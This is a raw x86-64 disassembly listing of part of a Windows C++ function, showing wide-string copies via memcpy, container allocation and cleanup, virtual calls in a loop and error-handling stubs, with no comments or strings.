sar rsi, 1
mov qword [rsp + 0x110], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a828
cmp rsi, 1
je 0x33092a7e6
test rsi, rsi
jne 0x33092a595
xor esi, esi
mov qword [r14 + 0x28], rax
mov word [rcx + rax*2], si
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x150]
mov qword [rsp + 0xf8], rax
cmp rcx, rdi
je 0x330929d8b
mov rax, qword [rsp + 0x160]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rcx, qword [rsp + 0x130]
cmp rcx, qword [rsp + 0x58]
je 0x330929dac
mov rax, qword [rsp + 0x140]
lea rdx, [rax + rax + 2]
call fcn.3309de670
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x280], 0
movaps xmmword [rsp + 0x270], xmm0
call fcn.3309de6b0
mov r15, rax
movq xmm0, rax
lea rax, [rax + 0x40]
mov rdi, qword [r13]
mov qword [rsp + 0x68], rax
punpcklqdq xmm0, xmm0
lea rcx, [r15 + 0x10]
mov qword [rsp + 0x280], rax
mov rax, qword [r13 + 8]
mov qword [r15], rcx
lea rbx, [rax + rax]
mov rax, rdi
movaps xmmword [rsp + 0x270], xmm0
add rax, rbx
je 0x330929e17
test rdi, rdi
je 0x33092ac68
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a5d7
cmp rsi, 1
je 0x33092a5cc
test rsi, rsi
je 0x330929e57
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [r15]
xor ebx, ebx
mov qword [r15 + 8], rax
mov rdi, qword [r13 + 0x20]
mov word [rcx + rax*2], bx
lea rax, [r15 + 0x20]
lea rcx, [r15 + 0x30]
mov qword [rsp + 0x70], rax
mov rax, qword [r13 + 0x28]
mov qword [r15 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, rdi
add rax, rbx
je 0x330929e8f
test rdi, rdi
je 0x33092ac6d
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a8df
cmp rsi, 1
je 0x33092a8d4
test rsi, rsi
je 0x330929ed0
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [r15 + 0x20]
xor r11d, r11d
mov qword [r15 + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov word [rcx + rax*2], r11w
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x278], rax
call fcn.330925b20
mov rbx, qword [rsp + 0x278]
mov r15, qword [rsp + 0x270]
cmp rbx, r15
je 0x330929f3f
mov rcx, qword [r15]
lea rax, [r15 + 0x10]
cmp rcx, rax
je 0x33092a608
mov rax, qword [r15 + 0x10]
add r15, 0x20
lea rdx, [rax + rax + 2]
call fcn.3309de670
cmp rbx, r15
jne 0x330929f10
mov r15, qword [rsp + 0x270]
test r15, r15
je 0x330929f57
mov rdx, qword [rsp + 0x280]
mov rcx, r15
sub rdx, r15
call fcn.3309de670
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x280], 0
movaps xmmword [rsp + 0x270], xmm0
call fcn.3309de6b0
mov r15, rax
movq xmm0, rax
lea rax, [rax + 0x40]
mov rdi, qword [r14]
mov qword [rsp + 0x68], rax
punpcklqdq xmm0, xmm0
lea rcx, [r15 + 0x10]
mov qword [rsp + 0x280], rax
mov rax, qword [r14 + 8]
mov qword [r15], rcx
lea rbx, [rax + rax]
mov rax, rdi
movaps xmmword [rsp + 0x270], xmm0
add rax, rbx
je 0x330929fc1
test rdi, rdi
je 0x33092ac8a
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a949
cmp rsi, 1
je 0x33092a909
test rsi, rsi
je 0x33092a001
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [r15]
xor r10d, r10d
mov qword [r15 + 8], rax
mov rdi, qword [r14 + 0x20]
mov word [rcx + rax*2], r10w
lea rax, [r15 + 0x20]
lea rcx, [r15 + 0x30]
mov qword [rsp + 0x70], rax
mov rax, qword [r14 + 0x28]
mov qword [r15 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, rdi
add rax, rbx
je 0x33092a03b
test rdi, rdi
je 0x33092ac8f
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a91f
cmp rsi, 1
je 0x33092a914
test rsi, rsi
je 0x33092a07c
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [r15 + 0x20]
xor r9d, r9d
mov qword [r15 + 0x28], rax
mov rdx, qword [rsp + 0x28]
mov word [rcx + rax*2], r9w
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x278], rax
call fcn.330925b20
mov rbx, qword [rsp + 0x278]
mov r15, qword [rsp + 0x270]
cmp rbx, r15
je 0x33092a0ef
nop dword [rax]
mov rcx, qword [r15]
lea rax, [r15 + 0x10]
cmp rcx, rax
je 0x33092a620
mov rax, qword [r15 + 0x10]
add r15, 0x20
lea rdx, [rax + rax + 2]
call fcn.3309de670
cmp rbx, r15
jne 0x33092a0c0
mov r15, qword [rsp + 0x270]
test r15, r15
je 0x33092a107
mov rdx, qword [rsp + 0x280]
mov rcx, r15
sub rdx, r15
call fcn.3309de670
mov rax, qword [rsp + 0x48]
mov r15, qword [rsp + 0x110]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x118]
lea rbx, [rax + rax]
mov rax, r15
add rax, rbx
je 0x33092a139
test r15, r15
je 0x33092ac9b
mov rsi, rbx
mov rcx, qword [rsp + 0x48]
sar rsi, 1
mov qword [rsp + 0x270], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x33092a86d
cmp rsi, 1
je 0x33092a861
test rsi, rsi
je 0x33092a183
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x210]
xor r8d, r8d
mov qword [rsp + 0x218], rax
mov r15, qword [rsp + 0x130]
lea rbx, [rsp + 0x280]
mov word [rcx + rax*2], r8w
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x270], rbx
lea rsi, [rax + rax]
mov rax, r15
add rax, rsi
je 0x33092a1c8
test r15, r15
je 0x33092aca7
mov rdi, rsi
mov rcx, rbx
sar rdi, 1
mov qword [rsp + 0xa8], rdi
mov rax, rdi
cmp rsi, 0xe
ja 0x33092a89f
cmp rdi, 1
je 0x33092a855
test rdi, rdi
je 0x33092a210
mov r8, rsi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x270]
xor edx, edx
mov qword [rsp + 0x278], rax
mov word [rcx + rax*2], dx
mov ecx, 0x40
call fcn.3309de6b0
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
mov r15, rax
call fcn.330927ff0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xa8], r15
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x33092ab40
lea rsi, [rdx + 8]
mov qword [rdx], r15
mov qword [rax + 8], rsi
mov rcx, qword [rsp + 0x270]
cmp rcx, rbx
je 0x33092a282
mov rax, qword [rsp + 0x280]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rcx, qword [rsp + 0x210]
cmp rcx, qword [rsp + 0x48]
je 0x33092a2a3
mov rax, qword [rsp + 0x220]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rax, qword [rsp + 0x40]
xor r15d, r15d
mov rbx, qword [rax]
cmp rbx, rsi
je 0x33092a2e7
nop dword [rax + rax]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx]
mov rdx, r15
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r15, qword [rbx]
add rbx, 8
cmp rsi, rbx
jne 0x33092a2b8
call fcn.330902c90
mov rcx, qword [rsp + 0x130]
cmp rcx, qword [rsp + 0x58]
je 0x33092a30d
mov rax, qword [rsp + 0x140]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rcx, qword [rsp + 0x110]
lea rax, [rsp + 0x120]
cmp rcx, rax
je 0x33092a334
mov rax, qword [rsp + 0x120]
lea rdx, [rax + rax + 2]
call fcn.3309de670
mov rbx, r14
nop word [rax + rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x33092a650
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + rax + 2]
call fcn.3309de670
cmp qword [rsp + 0x38], rbx
jne 0x33092a340
mov edx, 0x40
mov rcx, r14
mov rbx, r13
call fcn.3309de670
nop dword [rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x33092a638
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + rax + 2]
call fcn.3309de670
cmp rbp, rbx
jne 0x33092a380
mov rcx, r13
mov edx, 0x40
call fcn.3309de670
mov rcx, qword [r12]
cmp qword [rsp + 0x30], rcx
je 0x33092a3cd
mov rax, qword [r12 + 0x10]
lea rdx, [rax + 1]
call fcn.3309de670
mov edx, 0x20
mov rcx, r12
call fcn.3309de670
nop
movaps xmm6, xmmword [rsp + 0x390]
movaps xmm7, xmmword [rsp + 0x3a0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x3b0]
movaps xmm9, xmmword [rsp + 0x3c0]
movaps xmm10, xmmword [rsp + 0x3d0]
add rsp, 0x3e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
add r14, 0x20
cmp rsi, r14
jne 0x330928dd0
jmp 0x330928df6
test rbx, rbx
jne 0x33092acb3
mov rax, qword [rsp + 0x30]
jmp 0x330928cd5
mov rdx, qword [rsp + 0x28]
xor r8d, r8d
mov rcx, r12
call fcn.3309cbdf0
mov qword [r12], rax
mov rcx, rax
mov rax, qword [rsp + 0x270]
mov qword [r12 + 0x10], rax
mov r8, rbx
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x270]
mov rax, qword [r12]
jmp 0x330928cd5
test rbx, rbx
je 0x330928d8f
jmp 0x33092a4c0
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call fcn.3309cbdf0
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x2d0]
mov qword [r14 + 0x10], rax
mov r8, rbx
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x2d0]
mov rcx, qword [r14]
jmp 0x330928d8f
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x230]
jmp 0x3309296d1
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x210]
jmp 0x33092914b
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [r13 + 0x20]
jmp 0x3309297f8
mov rdx, qword [rsp + 0x28]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x130]
jmp 0x3309299d3
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x1c0]
mov rcx, qword [r13]
jmp 0x330929772
mov r8, rbx
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x150]
jmp 0x330929c3f
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x110]
mov rcx, qword [r14 + 0x20]
jmp 0x330929d55
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x110]
mov rcx, qword [r14]
jmp 0x330929ce5
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x330929e57
mov rdx, qword [rsp + 0x50]
xor r8d, r8d
mov rcx, r15
call fcn.3309cf680
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x10], rax
cmp rsi, 1
jne 0x330929e3c
jmp 0x33092a5cc
add r15, 0x20
cmp rbx, r15
jne 0x330929f10
jmp 0x330929f37
add r15, 0x20
cmp rbx, r15
jne 0x33092a0c0
jmp 0x33092a0e7
add rbx, 0x20
cmp rbp, rbx
jne 0x33092a380
jmp 0x33092a3a7
add rbx, 0x20
cmp qword [rsp + 0x38], rbx
jne 0x33092a340
jmp 0x33092a369
movzx edx, word [rsp + 0x274]
mov word [rcx], dx
jmp 0x3309296d1
movzx edx, word [rsp + 0x334]
mov word [rcx], dx
jmp 0x33092914b
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x210], rax
mov rcx, rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x220], rax
jmp 0x330929138
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x230]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x230], rax
mov rcx, rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x240], rax
jmp 0x3309296be
movzx edx, word [r14]
mov word [rcx], dx
jmp 0x330929772
movzx edx, word [r14]
mov word [rcx], dx
jmp 0x3309297f8
movzx edx, word [rsp + 0x270]
mov word [rcx], dx
jmp 0x3309299d3
movzx edx, word [rsp + 0x214]
mov word [rcx], dx
jmp 0x330929c3f
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x150]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x150], rax
mov rcx, rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x160], rax
jmp 0x330929c2c
lea rdx, [rsp + 0x1c0]
xor r8d, r8d
mov rcx, r13
call fcn.3309cf680
mov qword [r13], rax
mov rcx, rax
mov rax, qword [rsp + 0x1c0]
mov qword [r13 + 0x10], rax
jmp 0x33092975f
lea rdx, [rsp + 0x1c0]
xor r8d, r8d
mov rcx, r15
call fcn.3309cf680
mov qword [r13 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x1c0]
mov qword [r13 + 0x30], rax
jmp 0x3309297c8
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x130], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x140], rax
jmp 0x3309299c0
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x330929d55
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x330929ce5
lea rdx, [rsp + 0x110]
xor r8d, r8d
mov rcx, r14
call fcn.3309cf680
mov qword [r14], rax
mov rcx, rax
mov rax, qword [rsp + 0x110]
mov qword [r14 + 0x10], rax
jmp 0x330929cd2
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x110]
xor r8d, r8d
call fcn.3309cf680
mov qword [r14 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x110]
mov qword [r14 + 0x30], rax
jmp 0x330929d42
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x33092a210
movzx edx, word [r15]
mov word [rcx], dx
jmp 0x33092a183
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x210], rax
mov rcx, rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x220], rax
jmp 0x33092a159
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0xa8]
xor r8d, r8d
call fcn.3309cf680
mov qword [rsp + 0x270], rax
mov rcx, rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x280], rax
jmp 0x33092a1e6
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x330929ed0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
call fcn.3309cf680
mov qword [r15 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x30], rax
jmp 0x330929eaa
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x33092a001
movzx edx, word [rdi]
mov word [rcx], dx
jmp 0x33092a07c
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
xor r8d, r8d
call fcn.3309cf680
mov qword [r15 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x30], rax
jmp 0x33092a056
mov rdx, qword [rsp + 0x50]
xor r8d, r8d
mov rcx, r15
call fcn.3309cf680
mov qword [r15], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x10], rax
jmp 0x330929fdc
test rax, rax
jne 0x33092ac2d
mov rdx, rbx
jmp 0x330928966
mov rcx, rax
mov r8, r15
call fcn.3309c8870
jmp 0x330928af4
test rdi, rdi
jne 0x33092ac25
mov rax, rbp
jmp 0x3309289d5
mov rdx, rsi
xor r8d, r8d
mov rcx, r13
call fcn.3309cbdf0
mov rdx, qword [rsp + 0x2d0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x280], rdx
cmp edi, 8
jae 0x33092ab5c
test dil, 4
jne 0x33092ac0c
test edi, edi
je 0x33092a9fc
movzx edx, byte [rsp + 0x330]
mov byte [rax], dl
test dil, 2
je 0x33092a9fc
mov edi, edi
movzx edx, word [r15 + rdi - 2]
mov word [rax + rdi - 2], dx
mov rax, qword [rsp + 0x2d0]
mov rdx, qword [rsp + 0x270]
jmp 0x330928966
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call fcn.3309cbdf0
mov qword [rsp + 0x2d0], rax
mov rcx, rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x2e0], rax
mov r8, rdi
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x330]
mov rax, qword [rsp + 0x2d0]
jmp 0x3309289d5
mov rdi, qword [rsp + 0x2d8]
mov rax, r13
lea r14, [rsp + 0x340]
mov qword [rsp + 0x330], r14
add rax, rdi
je 0x33092aa83
test r13, r13
je 0x33092acd1
mov qword [rsp + 0x210], rdi
cmp rdi, 0xf
ja 0x33092abbe
cmp rdi, 1
jne 0x33092abad
movzx eax, byte [r13]
mov byte [rsp + 0x340], al
mov rax, r14
mov qword [rsp + 0x338], rdi
mov ecx, 0x40
mov byte [rax + rdi], 0
call fcn.3309de6b0
mov rdx, r15
mov rcx, rax
mov r13, rax
call fcn.330928380
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x210]
xor edx, edx
mov qword [rsp + 0x210], r13
call fcn.3309c8870
mov rcx, qword [rsp + 0x330]
cmp rcx, r14
je 0x33092ab0c
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.3309de670
mov r13, qword [rsp + 0x2d0]
jmp 0x330928a7d
mov rcx, rax
lea r8, [rsp + 0x210]
call fcn.3309c8870
jmp 0x330928e57
mov r8, qword [rsp + 0x28]
mov rcx, rax
call fcn.3309c8870
jmp 0x330928e97
lea r8, [rsp + 0xa8]
mov rcx, rax
mov rdi, rax
call fcn.3309c8870
mov rsi, qword [rdi + 8]
jmp 0x33092a263
mov rdx, qword [rsp + 0x330]
mov r9, r15
mov qword [rax], rdx
mov edx, edi
mov rcx, qword [r15 + rdx - 8]
mov qword [rax + rdx - 8], rcx
lea rcx, [rax + 8]
and rcx, 0xfffffffffffffff8
sub rax, rcx
add edi, eax
sub r9, rax
and edi, 0xfffffff8
cmp edi, 8
jb 0x33092a9fc
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [r9 + rdx]
mov qword [rcx + rdx], r8
cmp eax, edi
jb 0x33092ab97
jmp 0x33092a9fc
test rdi, rdi
jne 0x33092acc9
mov rax, r14
jmp 0x33092aaae
lea rdx, [rsp + 0x210]
xor r8d, r8d
mov rcx, r15
call fcn.3309cbdf0
mov qword [rsp + 0x330], rax
mov rcx, rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x340], rax
mov r8, rdi
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x210]
mov rax, qword [rsp + 0x330]
jmp 0x33092aaae
mov edx, dword [rsp + 0x330]
mov edi, edi
mov dword [rax], edx
mov edx, dword [r15 + rdi - 4]
mov dword [rax + rdi - 4], edx
jmp 0x33092a9fc
mov rcx, rbp
jmp 0x33092aa3a
mov rax, rbx
jmp 0x33092a9c8
lea rcx, [0x3309e627a]
call fcn.3309df610
lea rcx, [0x3309e6250]
call fcn.3309df520
lea rcx, [0x3309e6250]
call fcn.3309df520
mov r15, r13
lea rcx, [0x3309e6250]
call fcn.3309df520
mov qword [rsp + 0x70], r15
lea rcx, [0x3309e6250]
call fcn.3309df520
mov qword [rsp + 0x68], r14
lea rcx, [0x3309e6250]
call fcn.3309df520
mov qword [rsp + 0x70], r15
lea rcx, [0x3309e6250]
call fcn.3309df520
lea rcx, [0x3309e6250]
call fcn.3309df520
lea rcx, [0x3309e6250]
call fcn.3309df520
mov rcx, qword [rsp + 0x30]
jmp 0x33092a474
lea rcx, [0x3309e6250]
call fcn.3309df520
mov rcx, r14
jmp 0x33092abec
lea rcx, [0x3309e6250]
call fcn.3309df520
mov rcx, rax
call fcn.3309de800
mov rdx, r14
mov rcx, r14
call fcn.3309a3a50
call fcn.3309dee40
mov rcx, rax
call fcn.3309de800
mov rdx, r12
mov rcx, r12
call fcn.3309a3a50
call fcn.3309dee40
mov r12, rax
call fcn.3309de9e0
mov rcx, qword [rsp + 0x330]
mov rdx, qword [rsp + 0x340]
sub rdx, rcx
test rcx, rcx
jne 0x33092add8
lea rcx, [rsp + 0xb0]
call fcn.3309c8180
mov rcx, r12
call fcn.330936090
mov r12, rax
call fcn.3309de9e0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
call fcn.3309de670
mov rcx, qword [rsp + 0x330]
cmp rcx, r14
je 0x33092ad3e
mov rax, qword [rsp + 0x340]
lea rdx, [rax + 1]
call fcn.3309de670
jmp 0x33092ad3e
call fcn.3309de670
jmp 0x33092ad31